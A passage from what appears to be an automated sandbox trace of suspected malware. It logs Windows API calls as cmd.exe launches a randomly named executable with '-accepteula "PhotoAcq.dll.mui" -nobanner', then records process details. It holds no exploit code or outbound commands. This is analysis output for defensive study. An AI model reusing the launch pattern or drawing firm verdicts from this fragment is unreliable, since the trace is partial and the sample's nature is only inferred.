returned 1 [0112.319] GetProcessHeap () returned 0x5d0000 [0112.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e2d90 | out: hHeap=0x5d0000) returned 1 [0112.320] GetEnvironmentStringsW () returned 0x5e2200* [0112.320] GetProcessHeap () returned 0x5d0000 [0112.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb88) returned 0x5e2d90 [0112.320] FreeEnvironmentStringsW (penv=0x5e2200) returned 1 [0112.320] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0112.320] GetProcessHeap () returned 0x5d0000 [0112.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e46c8 | out: hHeap=0x5d0000) returned 1 [0112.320] GetProcessHeap () returned 0x5d0000 [0112.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x400e) returned 0x5e4f28 [0112.321] GetProcessHeap () returned 0x5d0000 [0112.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x78) returned 0x5e8f58 [0112.321] GetProcessHeap () returned 0x5d0000 [0112.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4f28 | out: hHeap=0x5d0000) returned 1 [0112.321] GetConsoleOutputCP () returned 0x1b5 [0112.321] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0112.321] GetUserDefaultLCID () returned 0x409 [0112.322] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0112.322] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x26f648, cchData=128 | out: lpLCData="0") returned 2 [0112.322] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x26f648, cchData=128 | out: lpLCData="0") returned 2 [0112.322] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x26f648, cchData=128 | out: lpLCData="1") returned 2 [0112.322] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0112.322] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0112.323] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0112.323] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0112.323] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0112.323] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0112.323] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0112.323] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0112.323] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0112.323] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0112.323] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0112.324] GetProcessHeap () returned 0x5d0000 [0112.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20c) returned 0x5e2200 [0112.324] GetConsoleTitleW (in: lpConsoleTitle=0x5e2200, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0112.324] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0112.324] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0112.324] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0112.325] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0112.325] GetProcessHeap () returned 0x5d0000 [0112.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x400a) returned 0x5e4f28 [0112.325] GetProcessHeap () returned 0x5d0000 [0112.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4f28 | out: hHeap=0x5d0000) returned 1 [0112.326] _wcsicmp (_String1="bv6ncK8c.exe", _String2=")") returned 57 [0112.326] _wcsicmp (_String1="FOR", _String2="bv6ncK8c.exe") returned 4 [0112.326] _wcsicmp (_String1="FOR/?", _String2="bv6ncK8c.exe") returned 4 [0112.326] _wcsicmp (_String1="IF", _String2="bv6ncK8c.exe") returned 7 [0112.326] _wcsicmp (_String1="IF/?", _String2="bv6ncK8c.exe") returned 7 [0112.326] _wcsicmp (_String1="REM", _String2="bv6ncK8c.exe") returned 16 [0112.326] _wcsicmp (_String1="REM/?", _String2="bv6ncK8c.exe") returned 16 [0112.326] GetProcessHeap () returned 0x5d0000 [0112.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5e46c8 [0112.326] GetProcessHeap () returned 0x5d0000 [0112.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x22) returned 0x5e2418 [0112.327] GetProcessHeap () returned 0x5d0000 [0112.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x5c) returned 0x5e2448 [0112.328] GetConsoleTitleW (in: lpConsoleTitle=0x26f340, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0112.402] GetFileAttributesW (lpFileName="bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x20 [0112.402] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0112.402] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0112.402] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0112.402] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0112.402] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0112.402] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0112.402] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0112.402] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0112.402] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0112.402] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0112.402] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0112.402] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0112.402] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0112.402] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0112.402] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0112.402] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0112.403] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FOR") returned -4 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="IF") returned -7 [0112.404] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REM") returned -16 [0112.405] GetProcessHeap () returned 0x5d0000 [0112.405] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x210) returned 0x5e24b0 [0112.405] GetProcessHeap () returned 0x5d0000 [0112.405] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x76) returned 0x5e8fd8 [0112.405] _wcsnicmp (_String1="bv6n", _String2="cmd ", _MaxCount=0x4) returned -1 [0112.405] GetProcessHeap () returned 0x5d0000 [0112.405] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x418) returned 0x5e26c8 [0112.405] SetErrorMode (uMode=0x0) returned 0x0 [0112.406] SetErrorMode (uMode=0x1) returned 0x0 [0112.406] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5e26d0, lpFilePart=0x26ee60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x26ee60*="Desktop") returned 0x25 [0112.406] SetErrorMode (uMode=0x0) returned 0x1 [0112.406] GetProcessHeap () returned 0x5d0000 [0112.406] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e26c8, Size=0x6e) returned 0x5e26c8 [0112.406] GetProcessHeap () returned 0x5d0000 [0112.406] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e26c8) returned 0x6e [0112.406] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0112.406] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0112.406] GetProcessHeap () returned 0x5d0000 [0112.406] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x120) returned 0x5e2740 [0112.406] GetProcessHeap () returned 0x5d0000 [0112.406] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x238) returned 0x5e2868 [0112.411] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e2868, Size=0x122) returned 0x5e2868 [0112.411] GetProcessHeap () returned 0x5d0000 [0112.411] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e2868) returned 0x122 [0112.411] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0112.411] GetProcessHeap () returned 0x5d0000 [0112.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xe0) returned 0x5e2998 [0112.412] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e2998, Size=0x76) returned 0x5e2998 [0112.412] GetProcessHeap () returned 0x5d0000 [0112.412] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e2998) returned 0x76 [0112.413] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0112.414] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x26ebfc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26ebfc) returned 0x5e2a18 [0112.414] GetProcessHeap () returned 0x5d0000 [0112.414] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x5e2a58 [0112.414] FindClose (in: hFindFile=0x5e2a18 | out: hFindFile=0x5e2a18) returned 1 [0112.414] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0112.414] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0112.414] GetConsoleTitleW (in: lpConsoleTitle=0x26f0d4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0112.414] InitializeProcThreadAttributeList (in: lpAttributeList=0x26ef5c, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x26f024 | out: lpAttributeList=0x26ef5c, lpSize=0x26f024) returned 1 [0112.414] UpdateProcThreadAttribute (in: lpAttributeList=0x26ef5c, dwFlags=0x0, Attribute=0x60001, lpValue=0x26f01c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x26ef5c, lpPreviousValue=0x0) returned 1 [0112.414] GetStartupInfoW (in: lpStartupInfo=0x26ef18 | out: lpStartupInfo=0x26ef18*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x80, hStdError=0xb)) [0112.415] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5e2a18 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="FN=\"Pho", _MaxCount=0x7) returned -3 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0112.415] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0112.416] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0112.416] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0112.416] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0112.416] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0112.416] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0112.416] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0112.416] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0112.416] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0112.416] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0112.416] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0112.416] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0112.416] GetProcessHeap () returned 0x5d0000 [0112.416] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e2a18 | out: hHeap=0x5d0000) returned 1 [0112.416] GetProcessHeap () returned 0x5d0000 [0112.416] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xa) returned 0x5e00d8 [0112.416] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0112.418] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula \"PhotoAcq.dll.mui\" -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x26efb8*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"PhotoAcq.dll.mui\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26f004 | out: lpCommandLine="bv6ncK8c.exe -accepteula \"PhotoAcq.dll.mui\" -nobanner", lpProcessInformation=0x26f004*(hProcess=0x78, hThread=0x74, dwProcessId=0xf24, dwThreadId=0xf28)) returned 1 [0112.428] CloseHandle (hObject=0x74) returned 1 [0112.428] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0112.428] GetProcessHeap () returned 0x5d0000 [0112.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e2d90 | out: hHeap=0x5d0000) returned 1 [0112.428] GetEnvironmentStringsW () returned 0x5e2cb8* [0112.428] GetProcessHeap () returned 0x5d0000 [0112.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb88) returned 0x5eaf40 [0112.429] FreeEnvironmentStringsW (penv=0x5e2cb8) returned 1 [0112.429] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0113.092] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x26eef8 | out: lpExitCode=0x26eef8*=0x1) returned 1 [0113.092] CloseHandle (hObject=0x78) returned 1 [0113.092] _vsnwprintf (in: _Buffer=0x26f040, _BufferCount=0x13, _Format="%08X", _ArgList=0x26ef04 | out: _Buffer="00000001") returned 8 [0113.092] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000001") returned 1 [0113.092] GetProcessHeap () returned 0x5d0000 [0113.092] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5eaf40 | out: hHeap=0x5d0000) returned 1 [0113.092] GetEnvironmentStringsW () returned 0x5e2cb8* [0113.093] GetProcessHeap () returned 0x5d0000 [0113.093] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb88) returned 0x5eaf40 [0113.093] FreeEnvironmentStringsW (penv=0x5e2cb8) returned 1 [0113.093] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0113.093] GetProcessHeap () returned 0x5d0000 [0113.093] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5eaf40 | out: hHeap=0x5d0000) returned 1 [0113.093] GetEnvironmentStringsW () returned 0x5e2cb8* [0113.093] GetProcessHeap () returned 0x5d0000 [0113.093] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb88) returned 0x5eaf40 [0113.093] FreeEnvironmentStringsW (penv=0x5e2cb8) returned 1 [0113.093] GetProcessHeap () returned 0x5d0000 [0113.093] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e00d8 | out: hHeap=0x5d0000) returned 1 [0113.093] DeleteProcThreadAttributeList (in: lpAttributeList=0x26ef5c | out: lpAttributeList=0x26ef5c) [0113.093] _get_osfhandle (_FileHandle=1) returned 0x80 [0113.093] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0113.093] _get_osfhandle (_FileHandle=1) returned 0x80 [0113.093] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0113.093] _get_osfhandle (_FileHandle=0) returned 0x3 [0113.093] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0113.094] SetConsoleInputExeNameW () returned 0x1 [0113.094] GetConsoleOutputCP () returned 0x1b5 [0113.094] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0113.094] SetThreadUILanguage (LangId=0x0) returned 0x409 [0113.094] exit (_Code=1) Process: id = "208" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x1448000" os_pid = "0xf24" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "207" os_parent_pid = "0xf1c" cmd_line = "bv6ncK8c.exe -accepteula \"PhotoAcq.dll.mui\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 799 os_tid = 0xf28 [0112.737] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0112.737] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0112.737] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0112.737] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0112.737] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0112.737] GetProcAddress 